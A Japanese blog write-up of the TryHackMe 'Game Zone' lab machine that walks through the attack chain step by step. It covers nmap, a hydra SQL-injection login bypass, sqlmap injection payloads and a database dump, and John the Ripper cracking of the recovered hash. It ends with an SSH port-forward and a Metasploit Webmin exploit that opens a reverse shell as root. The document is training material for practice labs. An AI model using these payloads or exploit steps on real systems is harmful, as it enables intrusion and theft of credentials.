【TryHackMe write-up】Game Zone

May 06, 2020

はじめに

TryHackMe の Game Zone という machine をやっていきます。

cheat sheet

以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。 github | sanposhiho/MYCHEATSHEET

nmap

kali@kali:~$ nmap -sV -sC 10.10.209.204
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-04 15:18 EDT
Nmap scan report for 10.10.209.204
Host is up (0.28s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 61:ea:89:f1:d4:a7:dc:a5:50:f7:6d:89:c3:af:0b:03 (RSA)
|   256 b3:7d:72:46:1e:d3:41:b6:6a:91:15:16:c9:4a:a5:fa (ECDSA)
|_  256 53:67:09:dc:ff:fb:3a:3e:fb:fe:cf:d8:6d:41:27:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Game Zone
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.59 seconds

hydra+SQL.txt

kali@kali:~$ hydra -L SQL.txt -p pass 10.10.126.109 http-post-form "/index.php:username=^USER^&password=^PASS^&x=30&y=:Incorrect Login" -f
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-05 03:13:06
[DATA] max 16 tasks per 1 server, overall 16 tasks, 125 login tries (l:125/p:1), ~8 tries per task
[DATA] attacking http-post-form://10.10.126.109:80/index.php:username=^USER^&password=^PASS^&x=30&y=:Incorrect Login
[80][http-post-form] host: 10.10.126.109   login: '%20;   password: pass
[STATUS] attack finished for 10.10.126.109 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-05-05 03:13:09

スクリーンショット 2020-05-05 16.19.10.png

sqlmap

kali@kali:~$ sqlmap -r request.txt --dbms=mysql --dump
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.4#stable}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 03:29:05 /2020-05-05/

[03:29:05] [INFO] parsing HTTP request from 'request.txt'
[03:29:05] [INFO] testing connection to the target URL
[03:29:06] [INFO] checking if the target is protected by some kind of WAF/IPS
[03:29:06] [INFO] testing if the target URL content is stable
[03:29:07] [INFO] target URL content is stable
[03:29:07] [INFO] testing if POST parameter 'searchitem' is dynamic
[03:29:07] [INFO] POST parameter 'searchitem' appears to be dynamic
[03:29:07] [INFO] heuristic (basic) test shows that POST parameter 'searchitem' might be injectable (possible DBMS: 'MySQL')
[03:29:07] [INFO] heuristic (XSS) test shows that POST parameter 'searchitem' might be vulnerable to cross-site scripting (XSS) attacks
[03:29:07] [INFO] testing for SQL injection on POST parameter 'searchitem'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[03:29:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[03:29:18] [WARNING] reflective value(s) found and filtering out
[03:29:21] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[03:29:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[03:29:35] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[03:29:37] [INFO] POST parameter 'searchitem' appears to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable (with --string="11")
[03:29:37] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[03:29:37] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[03:29:38] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[03:29:38] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[03:29:38] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[03:29:39] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[03:29:39] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[03:29:39] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[03:29:39] [INFO] POST parameter 'searchitem' is 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[03:29:39] [INFO] testing 'MySQL inline queries'
[03:29:40] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[03:29:40] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[03:29:40] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[03:29:40] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[03:29:41] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[03:29:41] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[03:29:41] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[03:29:52] [INFO] POST parameter 'searchitem' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[03:29:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[03:29:52] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[03:29:52] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[03:29:53] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[03:29:54] [INFO] target URL appears to have 3 columns in query
[03:29:56] [INFO] POST parameter 'searchitem' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[03:29:56] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
POST parameter 'searchitem' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 88 HTTP(s) requests:
---
Parameter: searchitem (POST)
    Type: boolean-based blind
    title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: searchitem=-1497' OR 5444=5444#

    Type: error-based
    title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: searchitem=s' OR (SELECT 1981 FROM(SELECT COUNT(*),CONCAT(0x7171717671,(SELECT (ELT(1981=1981,1))),0x716a787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- PZuW

    Type: time-based blind
    title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: searchitem=s' AND (SELECT 9293 FROM (SELECT(SLEEP(5)))OPmd)-- fdzt

    Type: UNION query
    title: MySQL UNION query (NULL) - 3 columns
    Payload: searchitem=s' UNION ALL SELECT NULL,NULL,CONCAT(0x7171717671,0x486351696555764963587752637a6e6d58455a676268625a4d47664b505a494e68646f474e6e4b7a,0x716a787871)#
---
[03:30:26] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[03:30:26] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[03:30:26] [INFO] fetching current database
[03:30:26] [INFO] fetching tables for database: 'db'
[03:30:27] [INFO] fetching columns for table 'post' in database 'db'
[03:30:27] [INFO] fetching entries for table 'post' in database 'db'
Database: db
Table: post
[5 entries]
+----+--------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | name                           | description                                                                                                                                                                                            |
+----+--------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1  | Mortal Kombat 11               | Its a rare fighting game that hits just about every note as strongly as Mortal Kombat 11 does. Everything from its methodical and deep combat.                                                         |
| 2  | Marvel Ultimate Alliance 3     | Switch owners will find plenty of content to chew through, particularly with friends, and while it may be the gaming equivalent to a Hulk Smash, that isnt to say that it isnt a rollicking good time. |
| 3  | SWBF2 2005                     | Best game ever                                                                                                                                                                                         |
| 4  | Hitman 2                       | Hitman 2 doesnt add much of note to the structure of its predecessor and thus feels more like Hitman 1.5 than a full-blown sequel. But thats not a bad thing.                                          |
| 5  | Call of Duty: Modern Warfare 2 | When you look at the total package, Call of Duty: Modern Warfare 2 is hands-down one of the best first-person shooters out there, and a truly amazing offering across any system.                      |
+----+--------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

[03:30:27] [INFO] table 'db.post' dumped to CSV file '/home/kali/.sqlmap/output/10.10.126.109/dump/db/post.csv'
[03:30:27] [INFO] fetching columns for table 'users' in database 'db'
[03:30:28] [INFO] fetching entries for table 'users' in database 'db'
[03:30:28] [INFO] recognized possible password hashes in column 'pwd'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[03:31:25] [INFO] writing hashes to a temporary file '/tmp/sqlmap2wauza2i3895/sqlmaphashes-8ui0fa_5.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[03:31:41] [INFO] using hash method 'sha256_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[03:31:49] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[03:31:53] [INFO] starting dictionary-based cracking (sha256_generic_passwd)
[03:31:53] [INFO] starting 2 processes
[03:32:44] [INFO] using suffix '1'
[03:33:32] [INFO] using suffix '123'
[03:34:39] [INFO] using suffix '2'
[03:35:57] [INFO] using suffix '12'
[03:36:54] [INFO] using suffix '3'
[03:38:02] [INFO] using suffix '13'
[03:39:24] [INFO] using suffix '7'
[03:39:29] [INFO] current status: 1921P... /^C
[03:39:29] [WARNING] user aborted during dictionary-based attack phase (Ctrl+C was pressed)
[03:39:29] [WARNING] no clear password(s) found
Database: db
Table: users
[1 entry]
+------------------------------------------------------------------+----------+
| pwd                                                              | username |
+------------------------------------------------------------------+----------+
| ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14 | agent47  |
+------------------------------------------------------------------+----------+

[03:39:29] [INFO] table 'db.users' dumped to CSV file '/home/kali/.sqlmap/output/10.10.126.109/dump/db/users.csv'
[03:39:29] [INFO] fetched data logged to text files under '/home/kali/.sqlmap/output/10.10.126.109'
[03:39:29] [WARNING] you haven't updated sqlmap for more than 124 days!!!

[*] ending @ 03:39:29 /2020-05-05/

user のパスワードの hash が手に入りました。

John the Ripper

kali@kali:~$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt pwd.hash --format=Raw-SHA256
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=2
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
videogamer124    (?)
1g 0:00:00:00 DONE (2020-05-05 04:07) 2.500g/s 7290Kp/s 7290Kc/s 7290KC/s vimivi..veluca
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed

videogamer124ですね

ssh

kali@kali:~$ ssh [email protected]
The authenticity of host '10.10.126.109 (10.10.126.109)' can't be established.
ECDSA key fingerprint is SHA256:mpNHvzp9GPoOcwmWV/TMXiGwcqLIsVXDp5DvW26MFi8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.126.109' (ECDSA) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-159-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

109 packages can be updated.
68 updates are security updates.


Last login: Fri Aug 16 17:52:04 2019 from 192.168.1.147
agent47@gamezone:~$ ls
user.txt

user.txt が取れました。

ss

 -t : TCP socketsの表示
 -u : UDP socketsの表示
 -l : listening socketsのみ表示
 -p : socketを使用してるプロセスを表示
 -n : ポート番号をサービス名変換しない(:httpと表示せず:80と表示)

https://milestone-of-se.nesuke.com/sv-basic/linux-basic/ss-netstat/

agent47@gamezone:~$ ss -tulpn
Netid State      Recv-Q Send-Q                                        Local Address:Port                                                       Peer Address:Port
udp   UNCONN     0      0                                                         *:10000                                                                 *:*
udp   UNCONN     0      0                                                         *:68                                                                    *:*
udp   UNCONN     0      0                                                         *:38414                                                                 *:*
tcp   LISTEN     0      80                                                127.0.0.1:3306                                                                  *:*
tcp   LISTEN     0      128                                                       *:10000                                                                 *:*
tcp   LISTEN     0      128                                                       *:22                                                                    *:*
tcp   LISTEN     0      128                                                      :::80                                                                   :::*
tcp   LISTEN     0      128                                                      :::22                                                                   :::*

agent47@gamezone:~$ ss -ltup
Netid State      Recv-Q Send-Q                                      Local Address:Port                                                       Peer Address:Port
udp   UNCONN     0      0                                                       *:10000                                                                 *:*
udp   UNCONN     0      0                                                       *:bootpc                                                                *:*
tcp   LISTEN     0      80                                              127.0.0.1:mysql                                                                 *:*
tcp   LISTEN     0      128                                                     *:webmin                                                                *:*
tcp   LISTEN     0      128                                                     *:ssh                                                                   *:*
tcp   LISTEN     0      128                                                    :::http                                                                 :::*
tcp   LISTEN     0      128                                                    :::ssh                                                                  :::*

10000 ポートで webmin というサービスが動いてるようです。

Webmin は、Linux などの Unix 系オペレーティングシステム を設定できるウェブブラウザベースのツールである。 ユーザーやディスク使用上限、サービス、設定ファイル等といった OS 内部設定の変更を多数行え、Apache や PHP、MySQL などといった多くのオープンソースのアプリケーションの変更や制御を行える (wikipedia)

怪しいですね

しかし 10000 ポートは nmap では検出されなかったのでファイアウォールで弾いてあるって感じなんですかね?

reverse SSH tunnel

kali@kali:~$ ssh -L 10000:localhost:10000 [email protected]
[email protected]'s password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-159-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

109 packages can be updated.
68 updates are security updates.


Last login: Tue May  5 21:21:30 2020 from 10.10.149.193
agent47@gamezone:~$

これで localhost:10000 にアクセスします。

スクリーンショット 2020-05-06 11.26.34.png agent47/videogamer124 でログインできます スクリーンショット 2020-05-06 11.27.30.png

metasploit で privilege escalation

webmin の 1.5.8 には

msf5 exploit(unix/webapp/webmin_show_cgi_exec) > options

Module options (exploit/unix/webapp/webmin_show_cgi_exec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  videogamer124    yes       Webmin Password
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS    localhost        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     10000            yes       The target port (TCP)
   SSL       false            yes       Use SSL
   USERNAME  agent47          yes       Webmin Username
   VHOST                      no        HTTP server virtual host


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.9.27.249      yes       The listen address (an interface may be specified)
   LPORT  1112             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Webmin 1.580


msf5 exploit(unix/webapp/webmin_show_cgi_exec) > run
[*] Exploiting target 0.0.0.1

[*] Started reverse TCP double handler on 10.9.27.249:1112
[*] Attempting to login...
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
[-] Authentication failed
[*] Exploiting target 127.0.0.1
[*] Started reverse TCP double handler on 10.9.27.249:1112
[*] Attempting to login...
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
[+] Authentication successfully
[+] Authentication successfully
[*] Attempting to execute the payload...
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
/usr/share/metasploit-framework/lib/rex/proto/http/client.rb:96: warning: deprecated Object#=~ is called on FalseClass; it always returns nil
[+] Payload executed successfully
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo MSWJvOm8tRgAPfyI;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "Trying: not found\r\nsh: 2: Connected: not found\r\nsh: 3: Escape: not found\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (10.9.27.249:1112 -> 10.10.149.193:47838) at 2020-05-05 22:37:44 -0400
[*] Session 1 created in the background.
msf5 exploit(unix/webapp/webmin_show_cgi_exec) > sessions -i 1
[*] Starting interaction with 1...

uname
Linux
whoami
root

root が取れました

終わりに

SQLi を使うような machine って実は初めてだったんですよね。 勉強できる良い機会で良かったです

このエントリーをはてなブックマークに追加